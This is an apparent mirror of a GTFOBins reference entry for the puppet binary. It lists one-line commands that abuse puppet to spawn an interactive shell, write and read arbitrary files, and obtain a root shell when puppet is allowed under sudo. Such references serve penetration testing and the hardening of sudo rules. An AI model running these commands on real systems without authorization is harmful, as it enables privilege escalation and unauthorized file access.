mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
20 lines
674 B
Markdown
20 lines
674 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
|
|
file-write:
|
|
- description: The file path must be absolute.
|
|
code: |
|
|
export LFILE="/tmp/file_to_write"
|
|
puppet apply -e "file { '$LFILE': content => 'DATA' }"
|
|
file-read:
|
|
- description: The read file content is corrupted by the `diff` output format. The actual `/usr/bin/diff` command is executed.
|
|
code: |
|
|
export LFILE=file_to_read
|
|
puppet filebucket -l diff /dev/null $LFILE
|
|
sudo:
|
|
- code: |
|
|
sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
|
|
---
|